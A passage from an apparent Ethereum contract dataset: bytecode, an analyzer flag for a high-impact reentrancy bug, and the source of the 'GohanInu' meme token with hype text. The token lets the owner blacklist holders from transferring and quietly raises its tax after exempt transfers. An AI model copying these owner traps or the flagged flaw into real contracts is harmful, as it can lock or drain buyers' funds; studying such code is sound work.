f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611cad565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a2184848484611469565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a1f565b5060006112198486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611497565b90506112d983826114ba565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b49190611cdc565b816001815181106113c7576113c7611c66565b6001600160a01b0392831660209182029290920101526014546113ed9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611426908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611476576114766114fc565b61148184848461152a565b80610a2157610a21600e54600c55600f54600d55565b60008060006114a4611621565b90925090506114b382826114ba565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150c5750600d54155b1561151357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153c8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156e90876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159d908661172e565b6001600160a01b0389166000908152600260205260409020556115bf8161178d565b6115c984836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160e91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061163c82826114ba565b82101561165857505060065492678ac7230489e8000092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106209190611a1f565b5060006112198486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611497565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061173b8385611cad565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b6000611797611497565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114ba565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a6565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b8035801515811461195557600080fd5b600060208284031215611b0357600080fd5b6112d982611ae1565b600060208284031215611b1e57600080fd5b81356112d981611935565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611ae1565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112d981611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220492717c26ea847355a3bbff0f19a9a98ee0cb952621f5cbfa6b8074718f4cbf064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,481
0x038b7537fd58d966404be0c7bcec64e6cbeb88a1
/** *Submitted for verification at Etherscan.io on 2021-08-21 */ /* Welcome to GOHAN INU Son of Goku, saviour of the earth and the strongest of them all! He is the heir to Earth and Namek, a legend who was hand picked by Vegeta and Piccolo. He did what Goku couldn’t do... AND DEFEATED CELL. Now let’s do what Goku couldn’t do & go for a 200x https://t.me/gohaninu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GohanInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GohanInu | t.me/gohaninu"; string private constant _symbol = "GOHAN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601881526020017f476f68616e496e75207c20742e6d652f676f68616e696e750000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f474f48414e000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158